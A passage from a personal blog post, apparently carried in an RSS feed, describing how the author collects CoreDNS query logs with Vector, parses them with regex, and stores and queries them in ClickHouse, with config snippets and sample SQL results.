This also means that the partition is never really put to use since I am partitioning by month but logs are being deleted every week. At this scale, it doesn’t really make sense to even have it, but I just included it for posterity.
UPDATE:
Clickhouse on Twitter clarified that ORDER BY timestamp will have better performance in this context. Usually if your queries are “last 1h”, “last 5m” based, it is better to not store the the sort key as YYYYMMDD format.

Now, we need to instruct Vector to send these logs to Clickhouse:

[sinks.coredns_logs_clickhouse_output]
  type = "clickhouse"
  inputs = ["parse_logs"]
  compression = "gzip"
  database = "coredns"
  endpoint = "http://localhost:8123"
  table = "logs"
  encoding.timestamp_format = "unix"
  batch.timeout_secs = 10
Clickhouse offers an HTTP API (which is running on port 8123 by default). Vector takes the input from the previous step (parse_logs transformation) and sends it to Clickhouse over the HTTP interface. Clickhouse stores datetimes in UNIX, so before sending the data, Vector can encode certain fields in the payload to a different data type as well (isn’t that cool 😎)
Query Examples#
I’ve been running this pipeline for 3-4 days, so I have a decent amount of data collected to show for the blog post.
Total Count of Queries
SELECT count(*)
FROM coredns.logs

┌─count()─┐
│   16774 │
└─────────┘


Top Query Types
SELECT
    count(*) AS total,
    type
FROM coredns.logs
GROUP BY type
ORDER BY total DESC
LIMIT 5

┌─total─┬─type─┐
│  9931 │ A    │
│  6852 │ AAAA │
└───────┴──────┘


Top Query Names
SELECT
    count(*) AS total,
    name
FROM coredns.logs
GROUP BY name
ORDER BY total DESC
LIMIT 5

┌─total─┬─name────────────────────────────┐
│  2513 │ ping.archlinux.org.             │
│  1868 │ ws.todoist.com.                 │
│  1011 │ incoming.telemetry.mozilla.org. │
│   802 │ vortex.data.microsoft.com.      │
│   707 │ logs-01.loggly.com.             │
└───────┴─────────────────────────────────┘


Max/Min duration
SELECT
    max(duration) AS max,
    min(duration) AS min
FROM coredns.logs
FORMAT Vertical

Row 1:
──────
max: 4.056606352
min: 0.000020837


Top TLDs Queried
SELECT
    count(name) AS total,
    topLevelDomain(substring(name, 1, -1)) AS tld
FROM coredns.logs
GROUP BY tld
ORDER BY total DESC
LIMIT 10

┌─total─┬─tld──┐
│ 10666 │ com  │
│  3950 │ org  │
│   671 │ net  │
│   346 │ so   │
│   288 │ tech │
│   279 │ io   │
│   190 │ co   │
│   167 │ dev  │
│    82 │ arpa │
│    43 │ in   │
└───────┴──────┘


Well, that’s all I could think of really. If you’ve some more interesting analysis to get from this data, let me know!
Summary#
The intention behind writing this post is to give an overview of how the entire log collection and processing pipeline works. Using Vector has been an amazing experience however the sad bit is that I don’t know Rust and I cannot contribute to some of the issues I’ve opened (even though they are presumably trivial). Maybe I should pick up Rust, finally? 🤭
Thanks for reading!]]></description>
            <content:encoded><![CDATA[<p>I’ve been toying around <a rel="external" href="https://clickhouse.tech/">Clickhouse</a> and <a rel="external" href="https://vector.dev/">Vector</a> at my day job and find both of these tools pretty interesting at what they do. A short summary for those unaware of these tools:</p>
<ul>
<li><strong>Vector</strong> helps you build a pipeline for collecting, transforming and processing different kinds of observability data (logs and metrics).</li>
<li><strong>Clickhouse</strong> is a columnar based DB used as a warehousing tool for generating reports and analytics.</li>
</ul>
<p>Now, for the context, I use <code>coredns</code> on my personal dev machine as it supports Split DNS (routing certain zones to a particular resolver) which I need for accessing internal domains at work. Yep, <code>systemd-resolved</code> can also do this, but I find <code>coredns</code> easier to configure and manage with OpenVPN as well.</p>
<p>Anyway, so one random evening, I got the idea of dumping CoreDNS Logs to Clickhouse. <em>Maaaybe</em> I was still hungover from the Vector/Clickhouse work I was doing at work but nevertheless I was interested in it.</p>
<h2 id="overview">Overview<a class="zola-anchor" href="#overview" aria-label="Anchor link for: overview">#</a></h2>
<ul>
<li>Gather logs from CoreDNS.</li>
<li>Transform the logs with <code>regex</code> and construct a payload for Clickhouse.</li>
<li>Write a schema for the logs table.</li>
<li>Dump to Clickhouse.</li>
</ul>
<p>Here’s how the pipeline looks:</p>
<p><img src="https://mrkaran.dev/images/coredns-vector-ch.jpg" alt="image" /></p>
<h2 id="collecting-logs">Collecting Logs<a class="zola-anchor" href="#collecting-logs" aria-label="Anchor link for: collecting-logs">#</a></h2>
<p>First, let’s look at how the raw logs are structured by CoreDNS:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span>[</span><span>INFO</span><span>]</span><span> 127.0.0.1:55678 - 21963 </span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">A IN xpui.app.spotify.com. udp 38 false 512</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> NXDOMAIN qr,rd,ra 121 0.061416978s</span></span>
<span class="giallo-l"><span>[</span><span>INFO</span><span>]</span><span> 127.0.0.1:59333 - 22742 </span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">AAAA IN incoming.telemetry.mozilla.org. udp 48 false 512</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> NOERROR qr,aa,rd,ra 106 0.049235139s</span></span>
<span class="giallo-l"><span>[</span><span>INFO</span><span>]</span><span> 127.0.0.1:39609 - 47247 </span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">AAAA IN ping.archlinux.org. udp 36 false 512</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> NOERROR qr,rd,ra 140 0.056721154s</span></span></code></pre>
<p>Vector provides a variety of <a rel="external" href="https://vector.dev/docs/reference/configuration/sources/">sources</a> to collect these logs. Since I am running <code>coredns</code> as a Docker container, the following config shows how to collect logs from a particular container:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="toml"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Filter coredns logs from Docker logs</span></span>
<span class="giallo-l"><span>[</span><span style="color: light-dark(#6F42C1, #F69D50);">sources</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">coredns_logs</span><span>]</span></span>
<span class="giallo-l"><span>  type</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">docker_logs</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> required</span></span>
<span class="giallo-l"><span>  docker_host</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">unix:///var/run/docker.sock</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>  include_images</span><span> =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">coredns/coredns</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> optional, no default</span></span></code></pre>
<p>The above config basically specifies a Docker Host variable and an image name filter. Vector talks to the Docker API over a <code>unix</code> socket and gathers metadata about the container (like <code>container_created_at</code>, <code>container_name</code>, <code>label</code> etc).</p>
<p>After collecting logs from Vector, it enriches with the following metadata.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="json"><span class="giallo-l"><span>{</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">    &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">container_created_at</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">2021-06-04T14:18:03.967143133Z</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">    &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">container_id</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">00c5c4d36ea5b4772b517d3cca7d397c92f72be2a2bf45bb8c430f717fbd331e</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">    &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">container_name</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">coredns_coredns_1</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">    &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">host</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">iris</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">    &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">image</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">coredns/coredns</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">    &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">label</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">        &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">com.docker.compose.config-hash</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">928d71143c2af6553d551dbbf14140304d53f92378746454fbfeb0382a896d5b</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">        &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">com.docker.compose.container-number</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">        &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">com.docker.compose.oneoff</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">False</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">        &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">com.docker.compose.project</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">coredns</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">        &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">com.docker.compose.project.config_files</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">/home/karan/Code/Infra/coredns/hydra-vpn-compose.yml</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">        &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">com.docker.compose.project.working_dir</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">/home/karan/Code/Infra/coredns</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">        &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">com.docker.compose.service</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">coredns</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">        &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">com.docker.compose.version</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">1.29.2</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>    }</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">    &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">message</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">[INFO] 127.0.0.1:38266 - 20341 </span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">A IN open.spotify.com. udp 34 false 512</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);"> NOERROR qr,rd,ra 160 0.300268123s</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">    &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">source_type</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">docker</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">    &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">stream</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">stdout</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">    &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">timestamp</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">2021-06-04T16:13:07.454601872Z</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>(NOTE: I am using <a rel="external" href="https://vector.dev/docs/reference/configuration/sinks/console/">console</a> sink to dump these logs to <code>STDOUT</code>. It’s pretty handy for inspecting logs).</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Print parsed logs to stdout</span></span>
<span class="giallo-l"><span>[</span><span>sinks.print</span><span>]</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">type</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">console</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">inputs</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">coredns_logs</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">encoding.codec</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">json</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span></code></pre>
<p>As you can see from the above JSON object, Vector has transformed the log with its own Data Model. The log that we care about now is inside <code>.message</code> key. It’s nice to have other metadata as well.</p>
<h3 id="transforming-the-logs">Transforming the logs<a class="zola-anchor" href="#transforming-the-logs" aria-label="Anchor link for: transforming-the-logs">#</a></h3>
<p>Our objectives at this step:</p>
<ul>
<li>Discard unused fields. We don’t really care about container metadata for this mini-project.</li>
<li>Parse the <code>message</code> field with <code>regex</code> so they can be stored in individual columns in our Clickhouse table.</li>
</ul>
<p>Now, CoreDNS can emit two kinds of logs (<code>INFO</code> and <code>ERROR</code>). The error usually happens when the upstream resolver is unreachable or there’s an issue with any of the CoreDNS plugins.</p>
<p>We need to write regex for both cases:</p>
<ol>
<li><code>INFO</code> logs:</li>
</ol>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">\[(?P</span><span>&lt;level&gt;[^</span><span>]]+)]</span><span style="color: light-dark(#005CC5, #F47067);">\s</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">?</span><span>P</span><span style="color: light-dark(#D73A49, #F47067);">&lt;</span><span>server_addr</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span>[</span><span>^:</span><span>]</span><span>+):(</span><span style="color: light-dark(#D73A49, #F47067);">?</span><span>P</span><span style="color: light-dark(#D73A49, #F47067);">&lt;</span><span>server_port</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#005CC5, #F47067);">\S</span><span>+)</span><span style="color: light-dark(#005CC5, #F47067);">\s</span><span>+-</span><span style="color: light-dark(#005CC5, #F47067);">\s</span><span style="color: light-dark(#D73A49, #F47067);">+</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">?</span><span>P</span><span style="color: light-dark(#D73A49, #F47067);">&lt;</span><span>id</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#005CC5, #F47067);">\S</span><span>+</span><span>)</span><span style="color: light-dark(#005CC5, #F47067);">\s</span><span style="color: light-dark(#D73A49, #F47067);">+</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">?</span><span>P</span><span style="color: light-dark(#D73A49, #F47067);">&lt;</span><span>type</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#005CC5, #F47067);">\S</span><span>+</span><span>)</span><span style="color: light-dark(#005CC5, #F47067);">\s</span><span style="color: light-dark(#D73A49, #F47067);">+</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">?</span><span>P</span><span style="color: light-dark(#D73A49, #F47067);">&lt;</span><span>class</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#005CC5, #F47067);">\S</span><span>+</span><span>)</span><span style="color: light-dark(#005CC5, #F47067);">\s</span><span style="color: light-dark(#D73A49, #F47067);">+</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">?</span><span>P</span><span style="color: light-dark(#D73A49, #F47067);">&lt;</span><span>name</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#005CC5, #F47067);">\S</span><span>+</span><span>)</span><span style="color: light-dark(#005CC5, #F47067);">\s</span><span style="color: light-dark(#D73A49, #F47067);">+</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">?</span><span>P</span><span style="color: light-dark(#D73A49, #F47067);">&lt;</span><span>proto</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#005CC5, #F47067);">\S</span><span>+</span><span>)</span><span style="color: light-dark(#005CC5, #F47067);">\s</span><span style="color: light-dark(#D73A49, #F47067);">+</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">?</span><span>P</span><span style="color: light-dark(#D73A49, #F47067);">&lt;</span><span>size</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#005CC5, #F47067);">\S</span><span>+</span><span>)</span><span style="color: light-dark(#005CC5, #F47067);">\s</span><span style="color: light-dark(#D73A49, #F47067);">+</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">?</span><span>P</span><span style="color: light-dark(#D73A49, #F47067);">&lt;</span><span>do</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#005CC5, #F47067);">\S</span><span>+</span><span>)</span><span style="color: light-dark(#005CC5, #F47067);">\s</span><span style="color: light-dark(#D73A49, #F47067);">+</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">?</span><span>P</span><span style="color: light-dark(#D73A49, #F47067);">&lt;</span><span>bufsize</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span>[</span><span>^</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">]+)</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#005CC5, #F47067);">\s</span><span style="color: light-dark(#D73A49, #F47067);">+</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">?</span><span>P</span><span style="color: light-dark(#D73A49, #F47067);">&lt;</span><span>rcode</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#005CC5, #F47067);">\S</span><span>+</span><span>)</span><span style="color: light-dark(#005CC5, #F47067);">\s</span><span style="color: light-dark(#D73A49, #F47067);">+</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">?</span><span>P</span><span style="color: light-dark(#D73A49, #F47067);">&lt;</span><span>rflags</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#005CC5, #F47067);">\S</span><span>+</span><span>)</span><span style="color: light-dark(#005CC5, #F47067);">\s</span><span style="color: light-dark(#D73A49, #F47067);">+</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">?</span><span>P</span><span style="color: light-dark(#D73A49, #F47067);">&lt;</span><span>rsize</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#005CC5, #F47067);">\S</span><span>+</span><span>)</span><span style="color: light-dark(#005CC5, #F47067);">\s</span><span style="color: light-dark(#D73A49, #F47067);">+</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">?</span><span>P</span><span style="color: light-dark(#D73A49, #F47067);">&lt;</span><span>duration</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span>[</span><span style="color: light-dark(#005CC5, #F47067);">\d</span><span style="color: light-dark(#005CC5, #F47067);">\.</span><span>]</span><span>+</span><span>)</span><span>.</span><span style="color: light-dark(#D73A49, #F47067);">*</span></span></code></pre>
<p><img src="https://mrkaran.dev/images/coredns-regex-info.png" alt="image" /></p>
<ol start="2">
<li><code>ERROR</code> logs:</li>
</ol>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">\[(?P</span><span>&lt;level&gt;ERROR</span><span>)]</span><span style="color: light-dark(#005CC5, #F47067);">\s</span><span style="color: light-dark(#D73A49, #F47067);">+</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">?</span><span>P</span><span style="color: light-dark(#D73A49, #F47067);">&lt;</span><span>component</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span>plugin</span><span style="color: light-dark(#005CC5, #F47067);">\/</span><span>errors</span><span>)</span><span>:</span><span style="color: light-dark(#005CC5, #F47067);">\s</span><span style="color: light-dark(#D73A49, #F47067);">+</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">?</span><span>P</span><span style="color: light-dark(#D73A49, #F47067);">&lt;</span><span>code</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#005CC5, #F47067);">\S</span><span>)</span><span>+</span><span style="color: light-dark(#005CC5, #F47067);">\s</span><span style="color: light-dark(#D73A49, #F47067);">+</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">?</span><span>P</span><span style="color: light-dark(#D73A49, #F47067);">&lt;</span><span>name</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#005CC5, #F47067);">\S</span><span>+</span><span>)</span><span style="color: light-dark(#005CC5, #F47067);">\s</span><span style="color: light-dark(#D73A49, #F47067);">+</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">?</span><span>P</span><span style="color: light-dark(#D73A49, #F47067);">&lt;</span><span>type</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span>[</span><span>^:</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);">*</span><span>)</span><span>:</span><span style="color: light-dark(#005CC5, #F47067);">\s</span><span style="color: light-dark(#D73A49, #F47067);">+</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">?</span><span>P</span><span style="color: light-dark(#D73A49, #F47067);">&lt;</span><span>error_msg</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span>.</span><span style="color: light-dark(#D73A49, #F47067);">*</span><span>)</span></span></code></pre>
<p><img src="https://mrkaran.dev/images/coredns-regex-error.png" alt="image" /></p>
<p>Combining a bunch of other things to remove some fields and constructing the final payload, the config looks like this:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="toml"><span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Parse coredns logs</span></span>
<span class="giallo-l"><span>[</span><span style="color: light-dark(#6F42C1, #F69D50);">transforms</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">parse_logs</span><span>]</span></span>
<span class="giallo-l"><span>type</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">remap</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>inputs</span><span> =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">coredns_logs</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"><span>source</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;&#39;&#39;</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);"># parse the log event.</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">ts = .timestamp</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">log,err = parse_regex(.message,r&#39;\[(?P&lt;level&gt;[^]]+)]\s(?P&lt;server_addr&gt;[^:]+):(?P&lt;server_port&gt;\S+)\s+-\s+(?P&lt;id&gt;\S+)\s+&quot;(?P&lt;type&gt;\S+)\s+(?P&lt;class&gt;\S+)\s+(?P&lt;name&gt;\S+)\s+(?P&lt;proto&gt;\S+)\s+(?P&lt;size&gt;\S+)\s+(?P&lt;do&gt;\S+)\s+(?P&lt;bufsize&gt;[^&quot;]+)&quot;\s+(?P&lt;rcode&gt;\S+)\s+(?P&lt;rflags&gt;\S+)\s+(?P&lt;rsize&gt;\S+)\s+(?P&lt;duration&gt;[\d\.]+).*&#39;)</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">if err !=null {</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    # capture the error log. If the error log also fails to get parsed, the log event is dropped.</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">  log = parse_regex!(.message,r&#39;\[(?P&lt;level&gt;ERROR)]\s+(?P&lt;component&gt;plugin/errors):\s+(?P&lt;code&gt;\S)+\s+(?P&lt;name&gt;\S+)\s+(?P&lt;type&gt;[^:]*):\s+(?P&lt;error_msg&gt;.*)&#39;)</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">}</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">. = log</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);"># add timestamp</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">.timestamp = ts</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);"># remove fields we dont care about</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">del(.do)</span></span>
